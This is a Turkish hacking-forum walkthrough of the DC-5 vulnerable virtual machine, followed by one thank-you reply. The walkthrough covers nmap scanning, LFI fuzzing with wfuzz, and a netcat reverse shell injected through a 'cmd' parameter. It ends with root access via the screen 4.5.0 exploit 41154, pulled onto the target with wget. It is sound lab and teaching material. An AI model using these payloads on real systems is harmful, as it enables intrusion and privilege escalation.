THT DUYURU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

DC-5 Zafiyetli Makine Çözümü // Qwx

Qwx
Qwx - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
04/2012
Mesajlar:
2.734
Konular:
116
Teşekkür (Etti):
96
Teşekkür (Aldı):
613
Ticaret:
(0) %
03-09-2019 19:17
#1
DC-5 Zafiyetli Makine Çözümü // Qwx
DC-5 Zafiyetli Makine Çözümü

Merhaba, değerli TürkHackTeam üyeleri bu konumuzda DC-5 adlı zafiyetli makinenin çözümünü yapacağız. Bir önceki zafiyetli makine çözümüm olan DC-2 konusuna ilgili linkten gidebilirsiniz; TIKLA


DC-5

İsim: DC-5
Çıkış Tarihi: 21 Nisan 2019
Yazar: DCAU
Seri: DC
Açıklama: ..."bildiğim kadarıyla, içeri girmek için sadece bir sömürü giriş noktası var (SSH'de yok). Bu belirli giriş noktasını tanımlamak olukça zor olabilir ama o orada. Sıra dışı bir şey aramanız gerekmektedir (sayfa yenileme ile değişen bir şey). Bu, güvenlik açığının neler içerebileceği konusunda bir fikir sağlayacaktır"...
Dosya boyutu: 521MB
İşletim sistemi: Debian GNU/Linux


İlk olarak indirmiş olduğumuz makinemizi açıyoruz. Makinemizi açtık, makinemizin giriş kısmının görünümü bu şekildedir.



Zafiyetli makinemizin IP adresini öğrenmek için netdiscover komutunu kullanıyoruz.



Makineminizin IP adresini öğrendikten sonra açık olan portları bulmak için Nmap taraması yapacağız. nmap -sS -sV <ipadress>





Nmap sonuçlarını incelediğimizde 80 numaralı portumuzun açık olduğunu görmekteyiz. Bu durumda da ilgili makinenn erişebileceğimiz bir web sayfası bulunmaktadır. Ardından kontrol ediyoruz. Karşımıza bu şekilde bir web sayfası çıkmaktadır.



Makinenin bizlere sunmuş olduğu web sitede biraz tur attıktan sonra Contact kısmında Submit butonuna tıkladığımızda sitenin footer bölümündeki Copyright :copyright: 2019 yazında birer birer bir azalma söz konusu olmaktadır. Bu durumda yazarın bizlere açıklama bölümünde bırakmış olduğu bir ipucunu hatırlatmaktadır.



Submit butonuna basıktan sonra yönlendirildiğimiz sayfa;



Ardından bu yönlendirme sayesinde diğer hangi uzantılara ulaşabileceğimiz Wfuzz adlı araç ile kontrol ediyoruz. Detaylı olarak Fuzzing işlemini anlattığım ilgili konuya bakabilirsiniz; Fuzzing (Fuzz Testing) Nedir ?
Terminalimizi açtıktan sonra wfuzz -w <wodlistkonumunuz>wfuzz/wordlist/Injections/LFI.txt http://<ipadresi>/thankyou.php?FUZZ=FUZZ komutunu giriyoruz ve çıkan sonuçları inceliyoruz.



Tarama sonucunda tüm isteklerin durum kodlarının 200 döndüğünü görmekteyiz bu da demek oluyor ki erişimi sağlayabiliyoruz.



Şimdi makineye girmek için bu yolda bir reverse shell in bash uygulamamız gerekmektedir. İlk olarak 4444 portumuzu dinlemeye alıyoruz. Bunun için terminalimizi açıp nc -lnvp 4444 komutunu giriyoruz.



Ardından Burp Suite'de &cmd=nc+-e+/bin/bash+<ipadresiniz>+4444 olarak bir istek yolluyoruz.



İstek yolladıktan sonra dinleme ekranımıza baktığımızda bağlantının sağlandığını görmekteyiz.



Ardından python -c 'import pty;pty.spawn("/bin/bash")' komutunu yazıyoruz.



Makinenin içerisinde arama özelliğini kullanıyoruz. find / -perm -4000 -type f 2>/dev/null



Arama sonrasında çıkan sonuçlarda /bin/screen-4.5.0 dikkatimizi çekmektedir. Kendi sistemimizde bu exploiti arama işlemine başlıyoruz. Bunun için ilk olarak screen 4.5.0 arama işlemini gerçekleştiriyoruz.



İlgili işlem için kodumuzu searchsploit screen 4.5.0 olarak yazıyoruz. Ardından çıkan sonuçlardan seçimimizi gerçekleştirip ikinci kodumuzu yazıyoruz searchsploit -m 41154 kodumuzu yazdıktan sonra otomatik olarak root dizinine ilgili kodu kopyalamaktadır.



Root dizimine kopyalanmış olan 41154.sh'yi cat 41154.sh komutu ile açıyoruz ve ilgili düzenlemeleri gerçekleştireceğiz.



Bunun için ilgili yönergeleri takip etmek yeterli olacaktır. Sırasıyla libhax.c , rootshell.c ve son olarak da 41154.sh olarak kayıt yapmanız gerekmektedir.



Tüm işlemleri yaptıktan sonra libhax.c ve rootshell.c'yi derlememiz gerekmektedir. Derleme işlemini gerçekleştirmek için ilgili kodlarımız gcc -fPIC -shared -ldl -o libhax.so libhax.c ve gcc -o rootshell rootshell.c olacaktır.



Bütün dosyalarımızı hazırladıktan sonra yapılacak tek şey dosyalarımızı sisteme yüklemek olacaktır. /tmp dizinine yükleme işlemini gerçekleştirmek için zafiyetli makinemizde cd /tmp komutu ile dizin değiştirme işlemini yapıyoruz. Ardından yükleme işlemini gerçekleştiriyoruz.
Yükleme işlemi için ilgili komutlarımız ise
wget http://<ipadresiniz>:8000/41154.sh
wget http://<ipadresiniz>:8000/rootshell
wget http://<ipadresiniz>:8000/libhax.so




Yükleme işlemlerimizi tamamladıktan sonra ise 41154.sh'yi çalıştırdıktan sonra root kullanıcısına yükselmiş olacağız ardından ise flagı okuyabiliriz. chmod +x 41154.sh komutu ile yetkilendirme işlemini gerçekleştiriyoruz. ./41154.sh komutu ile çalıştırıyoruz ardından direkt olarak root kullanıcısına yükselmiş oluyoruz ardından yapmamız gereken sadece /root dizinine gittikten sonra cat thisistheflag.txt komutu ile flagımızı okumak olacaktır.

.
---------------------
A hacker does for love what others would not do for money.
Konu Qwx tarafından (03-09-2019 19:25 Saat 19:25 ) değiştirilmiştir.
ASociety - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2019
Mesajlar:
5
Konular:
1
Teşekkür (Etti):
11
Teşekkür (Aldı):
0
Ticaret:
(0) %
04-09-2019 02:06
#2
Ellerine sağlık kardeşim

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler